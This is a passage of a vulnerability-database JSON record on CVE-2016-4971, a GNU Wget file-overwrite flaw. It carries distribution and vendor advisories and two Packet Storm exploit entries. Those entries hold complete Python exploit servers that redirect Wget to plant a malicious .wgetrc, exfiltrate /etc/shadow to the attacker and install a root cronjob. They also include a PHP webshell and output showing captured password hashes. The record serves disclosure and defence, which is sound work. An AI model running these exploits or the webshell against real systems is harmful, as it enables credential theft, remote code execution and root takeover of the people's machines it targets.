"AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-04-06T19:16:28", "description": "GNU wget before 1.18 allows remote servers to write to arbitrary files by redirecting a request from HTTP to a crafted FTP resource.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2016-06-30T17:59:00", "type": "debiancve", "title": "CVE-2016-4971", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-06-30T17:59:00", "id": "DEBIANCVE:CVE-2016-4971", "href": "https://security-tracker.debian.org/tracker/CVE-2016-4971", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2022-03-17T19:31:38", "description": "more to CVE-2015-2059", "cvss3": {}, "published": "1976-01-01T00:00:00", "type": "debiancve", "title": "TEMP-0000000-54045E", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2015-2059", "TEMP-0000000-54045E"], "modified": "1976-01-01T00:00:00", "id": "DEBIANCVE:TEMP-0000000-54045E", "href": "https://security-tracker.debian.org/tracker/TEMP-0000000-54045E", "cvss": {"score": 0.0, "vector": "NONE"}}], "archlinux": [{"lastseen": "2016-09-02T18:44:41", "description": "GNU Wget when supplied with a malicious website link can be tricked\ninto saving an arbitrary remote file supplied by an attacker, with\narbitrary content and filename under the current directory. This can\nlead to potential code execution by creating system scripts (such as\n.bash_profile and others) within home directory as well as other\nunauthorized actions (such as request sniffing by proxy modification,\nor arbitrary system file retrieval) by uploading .wgetrc configuration\nfile.\nBecause of this vulnerability, an attacker is able to overwrite an\narbitrary file in the victim's current directory.", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-06-20T00:00:00", "type": "archlinux", "title": "wget: arbitrary file overwrite", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-06-20T00:00:00", "id": "ASA-201606-19", "href": "https://lists.archlinux.org/pipermail/arch-security/2016-June/000654.html", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}], "packetstorm": [{"lastseen": "2016-12-05T22:21:23", "description": "", "cvss3": {}, "published": "2016-07-06T00:00:00", "type": "packetstorm", "title": "GNU Wget Arbitrary File Upload / Potential Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2016-4971"], "modified": "2016-07-06T00:00:00", "id": "PACKETSTORM:137795", "href": "https://packetstormsecurity.com/files/137795/GNU-Wget-Arbitrary-File-Upload-Potential-Remote-Code-Execution.html", "sourceData": "`============================================= \n- Release date: 06.07.2016 \n- Discovered by: Dawid Golunski \n- Severity: High \n- CVE-2016-4971 \n============================================= \n \n \nI. VULNERABILITY \n------------------------- \n \nGNU Wget < 1.18 Arbitrary File Upload / Potential RCE \n \n \nII. BACKGROUND \n------------------------- \n \n\"GNU Wget is a free software package for retrieving files using HTTP, HTTPS and \nFTP, the most widely-used Internet protocols. \nIt is a non-interactive commandline tool, so it may easily be called from \nscripts, cron jobs, terminals without X-Windows support, etc. \n \nGNU Wget has many features to make retrieving large files or mirroring entire \nweb or FTP sites easy \n\" \n \nhttps://www.gnu.org/software/wget/ \n \n \nIII. INTRODUCTION \n------------------------- \n \nGNU Wget before 1.18 when supplied with a malicious URL (to a malicious or \ncompromised web server) can be tricked into saving an arbitrary remote file \nsupplied by an attacker, with arbitrary contents and filename under \nthe current directory and possibly other directories by writing to .wgetrc. \nDepending on the context in which wget is used, this can lead to remote code \nexecution and even root privilege escalation if wget is run via a root cronjob \nas is often the case in many web application deployments. \nThe vulnerability could also be exploited by well-positioned attackers within \nthe network who are able to intercept/modify the network traffic. \n \n \nIV. DESCRIPTION \n------------------------- \n \nBecause of lack of sufficient controls in wget, when user downloads a file \nwith wget, such as: \n \nwget http://attackers-server/safe_file.txt \n \nan attacker who controls the server could make wget create an arbitrary file \nwith an arbitrary contents and filename by issuing a crafted HTTP 30X Redirect \ncontaining FTP server reference in response to the victim's wget request. \n \nFor example, if the attacker's server replies with the following response: \n \nHTTP/1.1 302 Found \nCache-Control: private \nContent-Type: text/html; charset=UTF-8 \nLocation: ftp://attackers-server/.bash_profile \nContent-Length: 262 \nServer: Apache \n \nwget will automatically follow the redirect and will download a malicious \n.bash_profile file from a malicious FTP server. \nIt will fail to rename the file to the originally requested filename of \n'safe_file.txt' as it would normally do, in case of a redirect to another \nHTTP resource with a different name. \n \nBecause of this vulnerability, an attacker is able to upload an arbitrary file \nwith an arbitrary filename to the victim's current directory. \n \nExecution flow: \n \nvictim@trusty:~$ wget --version | head -n1 \nGNU Wget 1.17 built on linux-gnu. \n \nvictim@trusty:~$ pwd \n/home/victim \n \nvictim@trusty:~$ ls \nvictim@trusty:~$ \n \nvictim@trusty:~$ wget http://attackers-server/safe-file.txt \nResolving attackers-server... 192.168.57.1 \nConnecting to attackers-server|192.168.57.1|:80... connected. \nHTTP request sent, awaiting response... 302 Found \nLocation: ftp://192.168.57.1/.bash_profile [following] \n=> \u00e2\u20ac\u02dc.bash_profile\u00e2\u20ac\u2122 \nConnecting to 192.168.57.1:21... connected. \nLogging in as anonymous ... Logged in! \n==> SYST ... done. ==> PWD ... done. \n==> TYPE I ... done. ==> CWD not needed. \n==> SIZE .bash_profile ... 55 \n==> PASV ... done. ==> RETR .bash_profile ... done. \nLength: 55 (unauthoritative) \n \n.bash_profile 100%[=============================================================================================>] 55 --.-KB/s in 0s \n \n2016-02-19 04:50:37 (1.27 MB/s) - \u00e2\u20ac\u02dc.bash_profile\u00e2\u20ac\u2122 saved [55] \n \n \nvictim@trusty:~$ ls -l \ntotal 4 \n-rw-rw-r-- 1 victim victim 55 Feb 19 04:50 .bash_profile \nvictim@trusty:~$ \n \n \nThis vulnerability will not work if extra options that force destination \nfilename are specified as a paramter. Such as: -O /tmp/output \nIt is however possible to exploit the issue with mirroring/recursive options \nenabled such as -r or -m. \n \nAnother limitation is that attacker exploiting this vulnerability can only \nupload his malicious file to the current directory from which wget was run, \nor to a directory specified by -P option (directory_prefix option). \nThis could however be enough to exploit wget run from home directory, or \nwithin web document root (in which case attacker could write malicious php files \nor .bash_profile files). \n \nThe current directory limitation could also be bypassed by uploading a .wgetrc \nconfig file if wget was run from a home directory. \n \nBy saving .wgetrc in /home/victim/.wgetrc an attacker could set arbitrary wget \nsettings such as destination directory for all downloaded files in future, \nas well as set a proxy setting to make future requests go through a malicious \nproxy server belonging to the attackers to which they could send further \nmalicious responses. \n \n \nHere is a set of Wget settings that can be helpful to an attacker: \n \ndir_prefix = string \nTop of directory tree\u00e2\u20ac\u201dthe same as \u00e2\u20ac\u02dc-P string\u00e2\u20ac\u2122. \n \npost_file = file \nUse POST as the method for all HTTP requests and send the contents of file in the request body. The same as \u00e2\u20ac\u02dc--post-file=file\u00e2\u20ac\u2122. \n \nrecursive = on/off \nRecursive on/off\u00e2\u20ac\u201dthe same as \u00e2\u20ac\u02dc-r\u00e2\u20ac\u2122. \n \ntimestamping = on/off \nAllows to overwrite existing files. \n \ncut_dirs = n \nIgnore n remote directory components. Allows attacker to create directories with wget (when combined with recursive option). \n \nhttp_proxy \nHTTP Proxy server \n \nhttps_proxy \nHTTPS Proxy server \n \noutput_document = file \nSet the output filename\u00e2\u20ac\u201dthe same as \u00e2\u20ac\u02dc-O file\u00e2\u20ac\u2122. \n \ninput = file \nRead the URLs from string, like \u00e2\u20ac\u02dc-i file\u00e2\u20ac\u2122. \n \nmetalink-over-http \nIssues HTTP HEAD request instead of GET and extracts Metalink metadata from response headers. \nThen it switches to Metalink download. If no valid Metalink metadata is found, it falls back to ordinary HTTP download. \n \n \n \nFull list of .wgetrc options can be found in: \n \nhttps://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Commands \n \n \n \nV. PROOF OF CONCEPT EXPLOIT \n------------------------- \n \n \n1) Cronjob with wget scenario \n \nOften wget is used inside cronjobs. By default cronjobs run within home \ndirectory of the cronjob owner. \nSuch wget cronjobs are commonly used with many applications used to download \nnew version of databases, requesting web scripts that perform scheduled tasks \nsuch as rebuilding indexes, cleaning caches etc. \nHere are a few example tutorials for Wordpress/Moodle/Joomla/Drupal found on \nthe Internet with exploitable wget cronjobs: \n \nhttps://codex.wordpress.org/Post_to_your_blog_using_email \nhttps://docs.moodle.org/2x/ca/Cron \nhttp://www.joomlablogger.net/joomla-tips/joomla-general-tips/how-to-set-up-a-content-delivery-network-cdn-for-your-joomla-site \nhttp://www.zyxware.com/articles/4483/drupal-how-to-add-a-cron-job-via-cpanel \n \nSuch setup could be abused by attackers to upload .bash_profile file through \nwget vulnerability and run commands in the context of the victim user upon \ntheir next log-in. \n \nAs cron runs priodically attackers, could also write out .wgetrc file in the \nfirst response and then write to /etc/cron.d/malicious-cron in the second. \nIf a cronjob is run by root, this would give them an almost instant root code \nexecution. \n \n \nIt is worth noting that if an attacker had access to local network they could \npotentially modify unencrypted HTTP traffic to inject malicious 30X Redirect \nresponses to wget requests. \n \nThis issue could also be exploited by attackers who have already gained \naccess to the server through a web vulnerability to escalate their privileges. \nIn many cases the cron jobs (as in examples above) are set up to request \nvarious web scripts e.g: \nhttp://localhost/clean-cache.php \n \nIf the file was writable by apache, and attacker had access to www-data/apache \naccount, they could modify it to return malicious Location header and exploit \nroot cronjob that runs the wget request in order to escalate their privileges \nto root. \n \n \nFor simplicity we can assume that attacker already has control over the server \nthat the victim sends the request to with wget. \n \nThe root cronjob on the victim server may look as follows: \n \nroot@victim:~# cat /etc/cron.d/update-database \n# Update database file every 2 minutes \n*/2 * * * * root wget -N http://attackers-server/database.db > /dev/null 2>&1 \n \n \nIn order to exploit this setup, attacker first prepares a malicious .wgetrc \nand starts an FTP server: \n \nattackers-server# mkdir /tmp/ftptest \nattackers-server# cd /tmp/ftptest \n \nattackers-server# cat <<_EOF_>.wgetrc \npost_file = /etc/shadow \noutput_document = /etc/cron.d/wget-root-shell \n_EOF_ \n \nattackers-server# sudo pip install pyftpdlib \nattackers-server# python -m pyftpdlib -p21 -w \n \n \nAt this point attacker can start an HTTP server which will exploit wget by \nsending malicious redirects to the victim wget's requests: \n \n---[ wget-exploit.py ]--- \n \n#!/usr/bin/env python \n \n# \n# Wget 1.18 < Arbitrary File Upload Exploit \n# Dawid Golunski \n# dawid( at )legalhackers.com \n# \n# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt \n# \n# CVE-2016-4971 \n# \n \nimport SimpleHTTPServer \nimport SocketServer \nimport socket; \n \nclass wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler): \ndef do_GET(self): \n# This takes care of sending .wgetrc \n \nprint \"We have a volunteer requesting \" + self.path + \" by GET :)\\n\" \nif \"Wget\" not in self.headers.getheader('User-Agent'): \nprint \"But it's not a Wget :( \\n\" \nself.send_response(200) \nself.end_headers() \nself.wfile.write(\"Nothing to see here...\") \nreturn \n \nprint \"Uploading .wgetrc via ftp redirect vuln. It should land in /root \\n\" \nself.send_response(301) \nnew_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) ) \nprint \"Sending redirect to %s \\n\"%(new_path) \nself.send_header('Location', new_path) \nself.end_headers() \n \ndef do_POST(self): \n# In here we will receive extracted file and install a PoC cronjob \n \nprint \"We have a volunteer requesting \" + self.path + \" by POST :)\\n\" \nif \"Wget\" not in self.headers.getheader('User-Agent'): \nprint \"But it's not a Wget :( \\n\" \nself.send_response(200) \nself.end_headers() \nself.wfile.write(\"Nothing to see here...\") \nreturn \n \ncontent_len = int(self.headers.getheader('content-length', 0)) \npost_body = self.rfile.read(content_len) \nprint \"Received POST from wget, this should be the extracted /etc/shadow file: \\n\\n---[begin]---\\n %s \\n---[eof]---\\n\\n\" % (post_body) \n \nprint \"Sending back a cronjob script as a thank-you for the file...\" \nprint \"It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)\" \nself.send_response(200) \nself.send_header('Content-type', 'text/plain') \nself.end_headers() \nself.wfile.write(ROOT_CRON) \n \nprint \"\\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \\n\" \n \nreturn \n \nHTTP_LISTEN_IP = '192.168.57.1' \nHTTP_LISTEN_PORT = 80 \nFTP_HOST = '192.168.57.1' \nFTP_PORT = 21 \n \nROOT_CRON = \"* * * * * root /usr/bin/id > /root/hacked-via-wget \\n\" \n \nhandler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit) \n \nprint \"Ready? Is your FTP server running?\" \n \nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \nresult = sock.connect_ex((FTP_HOST, FTP_PORT)) \nif result == 0: \nprint \"FTP found open on %s:%s. Let's go then\\n\" % (FTP_HOST, FTP_PORT) \nelse: \nprint \"FTP is down :( Exiting.\" \nexit(1) \n \nprint \"Serving wget exploit on port %s...\\n\\n\" % HTTP_LISTEN_PORT \n \nhandler.serve_forever() \n \n \n---[ eof ]--- \n \n \n \nAttacker can run wget-exploit.py and wait a few minutes until the victim's server executes \nthe aforementioned cronjob with wget. \n \nThe output should look similar to: \n \n \n---[ wget-exploit.py output ]--- \n \nattackers-server# python ./wget-exploit.py \n \nReady? Is your FTP server running? \nFTP found open on 192.168.57.1:21. Let's go then \n \nServing wget exploit on port 80... \n \n \nWe have a volunteer requesting /database.db by GET :) \n \nUploading .wgetrc via ftp redirect vuln. It should land in /root \n \n192.168.57.10 - - [26/Feb/2016 15:03:54] \"GET /database.db HTTP/1.1\" 301 - \nSending redirect to ftp://anonymous@192.168.57.1:21/.wgetrc \n \nWe have a volunteer requesting /database.db by POST :) \n \nReceived POST from wget, this should be the extracted /etc/shadow file: \n \n---[begin]--- \nroot:$6$FsAu5RlS$b2J9GDm.....cut......9P19Nb./Y75nypB4FXXzX/:16800:0:99999:7::: \ndaemon:*:16484:0:99999:7::: \nbin:*:16484:0:99999:7::: \nsys:*:16484:0:99999:7::: \nsync:*:16484:0:99999:7::: \ngames:*:16484:0:99999:7::: \nman:*:16484:0:99999:7::: \nlp:*:16484:0:99999:7::: \n...cut... \n---[eof]--- \n \nSending back a cronjob script as a thank-you for the file... \nIt should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response) \n192.168.57.10 - - [26/Feb/2016 15:05:54] \"POST /database.db HTTP/1.1\" 200 - \n \nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n \n---[ output eof ]--- \n \n \nAs we can see .wgetrc got uploaded by the exploit. It has set the post_file \nsetting to /etc/shadow. \nTherefore, on the next wget run, wget sent back shadow file to the attacker. \nIt also saved the malicious cronjob script (ROOT_CRON variable) which should \ncreate a file named /root/hacked-via-wget, which we can verify on the victim's \nserver: \n \n \nroot@victim:~# cat /etc/cron.d/wget-root-shell \n* * * * * root /usr/bin/id > /root/hacked-via-wget \n \nroot@victim:~# cat /root/hacked-via-wget \nuid=0(root) gid=0(root) groups=0(root) \n \n \n \n2) PHP web application scenario \n \nIf wget is used within a PHP script e.g.: \n \n<?php \n \n// Update geoip data \n \nsystem(\"wget -N -P geoip http://attackers-host/goeip.db\"); \n \n?> \n \nAn attacker who manages to respond to the request could simply upload a PHP \nbackdoor of: \n \n<?php \n//webshell.php \n \nsystem($_GET['cmd']); \n?> \n \nby using the wget-exploit script described in example 1. \n \nAfter the upload he could simply execute the script and their shell \ncommand by a GET request to: \n \nhttp://victims-php-host/geoip/webshell.php?cmd=id \n \n \nVI. BUSINESS IMPACT \n------------------------- \n \nAffected versions of wget that connect to untrusted (or compromised) web \nservers could be tricked into uploading a file under an arbitrary name, or \neven path (if wget is run from a home directory). \nDepending on the context in which wget is used, this could lead to \nuploading a web shell and granting the attacker access remote access to the \nsystem, or privilege escalation. It could be possible for attackers to escalate \nto root user if wget is run via root cronjob as it is often the case in web \napplication deployments and is recommended in some guides on the Internet. \n \nThe vulnerability could also be exploited by well-positioned attackers within \nthe networ who are able to intercept/modify the network traffic. \n \n \nVII. SYSTEMS AFFECTED \n------------------------- \n \nAll versions of Wget before the patched version of 1.18 are affected. \n \nVIII. SOLUTION \n------------------------- \n \nUpdate to wget version 1.18 as advertised by the vendor at: \n \nhttp://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html \n \nLinux distributions should update their wget packages. It is recommended \nto update wget manually if an updated package is not available for your \ndistribution. \n \nIX. REFERENCES \n------------------------- \n \nhttp://legalhackers.com \n \nhttp://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt \n \nhttp://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html \n \nhttp://www.ubuntu.com/usn/usn-3012-1/ \n \nhttps://bugzilla.redhat.com/show_bug.cgi?id=1343666#c1 \n \nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4971 \n \nX. CREDITS \n------------------------- \n \nThe vulnerability has been discovered by Dawid Golunski \ndawid (at) legalhackers (dot) com \nlegalhackers.com \n \nXI. REVISION HISTORY \n------------------------- \n \n06.07.2016 - Advisory released \n \nXII. LEGAL NOTICES \n------------------------- \n \nThe information contained within this advisory is supplied \"as-is\" with \nno warranties or guarantees of fitness of use or otherwise. I accept no \nresponsibility for any damage caused by the use or misuse of this information. \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/137795/wget-fileuploadexec.txt", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}, {"lastseen": "2021-04-30T15:31:03", "description": "", "cvss3": {}, "published": "2021-04-30T00:00:00", "type": "packetstorm", "title": "GNU wget Arbitrary File Upload / Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2016-4971"], "modified": "2021-04-30T00:00:00", "id": "PACKETSTORM:162395", "href": "https://packetstormsecurity.com/files/162395/GNU-wget-Arbitrary-File-Upload-Code-Execution.html", "sourceData": "`# Exploit Title: GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution (2) \n# Original Exploit Author: Dawid Golunski \n# Exploit Author: liewehacksie \n# Version: GNU Wget < 1.18 \n# CVE: CVE-2016-4971 \n \nimport http.server \nimport socketserver \nimport socket \nimport sys \n \nclass wgetExploit(http.server.SimpleHTTPRequestHandler): \n \ndef do_GET(self): \n# This takes care of sending .wgetrc/.bash_profile/$file \n \nprint(\"We have a volunteer requesting \" + self.path + \" by GET :)\\n\") \nif \"Wget\" not in self.headers.get('User-Agent'): \nprint(\"But it's not a Wget :( \\n\") \nself.send_response(200) \nself.end_headers() \nself.wfile.write(\"Nothing to see here...\") \nreturn \n \nself.send_response(301) \nprint(\"Uploading \" + str(FILE) + \"via ftp redirect vuln. It should land in /home/ \\n\") \nnew_path = 'ftp://anonymous@{}:{}/{}'.format(FTP_HOST, FTP_PORT, FILE) \n \nprint(\"Sending redirect to %s \\n\"%(new_path)) \nself.send_header('Location', new_path) \nself.end_headers() \n \n \nHTTP_LISTEN_IP = '192.168.72.2' \nHTTP_LISTEN_PORT = 80 \nFTP_HOST = '192.168.72.4' \nFTP_PORT = 2121 \nFILE = '.bash_profile' \n \nhandler = socketserver.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit) \n \nprint(\"Ready? Is your FTP server running?\") \n \nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \nresult = sock.connect_ex((FTP_HOST, FTP_PORT)) \nif result == 0: \nprint(\"FTP found open on %s:%s. Let's go then\\n\" % (FTP_HOST, FTP_PORT)) \nelse: \nprint(\"FTP is down :( Exiting.\") \nexit(1) \n \nprint(\"Serving wget exploit on port %s...\\n\\n\" % HTTP_LISTEN_PORT) \n \nhandler.serve_forever() \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/162395/wget-uploadexec.txt", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "f5": [{"lastseen": "2017-06-08T00:16:23", "description": "\nF5 Product Development has assigned ID 490963 (ARX) and INSTALLER-2560 (Traffix SDC) to this vulnerability, and has evaluated the currently supported releases for potential vulnerability.\n\nTo determine if your release is known to be vulnerable, the components or features that are affected by the vulnerability, and for information about releases or hotfixes that address the vulnerability, refer to the following table:\n\nProduct| Versions known to be vulnerable| Versions known to be not vulnerable| Severity| Vulnerable component or feature \n---|---|---|---|--- \nBIG-IP LTM| None| 12.0.0 - 12.1.0 \n11.4.0 - 11.6.1 \n11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP AAM| None| 12.0.0 - 12.1.0 \n11.4.0 - 11.6.1| Not vulnerable| None \nBIG-IP AFM| None| 12.0.0 - 12.1.0 \n11.4.0 - 11.6.1| Not vulnerable| None \nBIG-IP Analytics| None| 12.0.0 - 12.1.0 \n11.4.0 - 11.6.1 \n11.2.1| Not vulnerable| None \nBIG-IP APM| None| 12.0.0 - 12.1.0 \n11.4.0 - 11.6.1 \n11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP ASM| None| 12.0.0 - 12.1.0 \n11.4.0 - 11.6.1 \n11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP DNS| None| 12.0.0 - 12.1.0| Not vulnerable| None \nBIG-IP Edge Gateway| None| 11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP GTM| None| 11.4.0 - 11.6.1 \n11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP Link Controller| None| 12.0.0 - 12.1.0 \n11.4.0 - 11.6.1 \n11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP PEM| None| 12.0.0 - 12.1.0 \n11.4.0 - 11.6.1| Not vulnerable| None \nBIG-IP PSM| None| 11.4.0 - 11.4.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP WebAccelerator| None| 11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP WOM| None| 11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nARX| 6.2.0 - 6.4.0| None| Low| **Wget** utility \nEnterprise Manager| None| 3.1.1| Not vulnerable| None \nFirePass| None| 7.0.0| Not vulnerable| None \nBIG-IQ Cloud| None| 4.0.0 - 4.5.0| Not vulnerable| None \nBIG-IQ Device| None| 4.2.0 - 4.5.0| Not vulnerable| None \nBIG-IQ Security| None| 4.0.0 - 4.5.0| Not vulnerable| None \nBIG-IQ ADC| None| 4.5.0| Not vulnerable| None \nBIG-IQ Centralized Management| None| 5.0.0 \n4.6.0| Not vulnerable| None \nBIG-IQ Cloud and Orchestration| None| 1.0.0| Not vulnerable| None \nF5 iWorkflow| None| 2.0.0| Not vulnerable| None \nLineRate| None| 2.5.0 - 2.6.1| Not vulnerable| None \nF5 MobileSafe| None| 1.0.0| Not vulnerable| None \nF5 WebSafe| None| 1.0.0| Not vulnerable| None \nTraffix SDC| 5.0.0 \n4.0.0 - 4.4.0| None| Low| **Wget** utility\n\nIf you are running a version listed in the Versions known to be vulnerable column, you can eliminate this vulnerability by upgrading to a version listed in the Versions known to be not vulnerable column. If the table lists only an older version than what you are currently running, or does not list a non-vulnerable version, then no upgrade candidate currently exists.\n\nTo mitigate this vulnerability, you should permit management access to F5 products only over a secure network and limit shell access to only trusted users. \n\n * [K9970: Subscribing to email notifications regarding F5 products](<https://support.f5.com/csp/article/K9970>)\n * [K9957: Creating a custom RSS feed to view new and updated documents](<https://support.f5.com/csp/article/K9957>)\n * [K4602: Overview of the F5 security vulnerability response policy](<https://support.f5.com/csp/article/K4602>)\n * [K4918: Overview of the F5 critical issue hotfix policy](<https://support.f5.com/csp/article/K4918>)\n * [K167: Downloading software and firmware from F5](<https://support.f5.com/csp/article/K167>)[\u200b](<https://support.f5.com/csp/article/K4602>)\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-07-13T21:28:00", "type": "f5", "title": "Wget vulnerability CVE-2016-4971", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-07-13T21:28:00", "id": "F5:K55181425", "href": "https://support.f5.com/csp/article/K55181425", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}, {"lastseen": "2021-06-08T18:45:13", "description": "Vulnerability Recommended Actions\n\nIf you are running a version listed in the Versions known to be vulnerable column, you can eliminate this vulnerability by upgrading to a version listed in the Versions known to be not vulnerable column. If the table lists only an older version than what you are currently running, or does not list a non-vulnerable version, then no upgrade candidate currently exists.\n\nTo mitigate this vulnerability, you should permit management access to F5 products only over a secure network and limit shell access to only trusted users.\u00c2 \n\nSupplemental Information\n\n * SOL9970: Subscribing to email notifications regarding F5 products\n * SOL9957: Creating a custom RSS feed to view new and updated documents\n * SOL4602: Overview of the F5 security vulnerability response policy\n * SOL4918: Overview of the F5 critical issue hotfix policy\n * SOL167: Downloading software and firmware from F5\u00e2\u0080\u008b\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-07-13T00:00:00", "type": "f5", "title": "SOL55181425 - Wget vulnerability CVE-2016-4971", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-07-13T00:00:00", "id": "SOL55181425", "href": "http://support.f5.com/kb/en-us/solutions/public/k/55/sol55181425.html", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}], "exploitpack": [{"lastseen": "2020-04-01T19:04:17", "description": "\nGNU Wget 1.18 - Arbitrary File Upload Remote Code Execution", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, 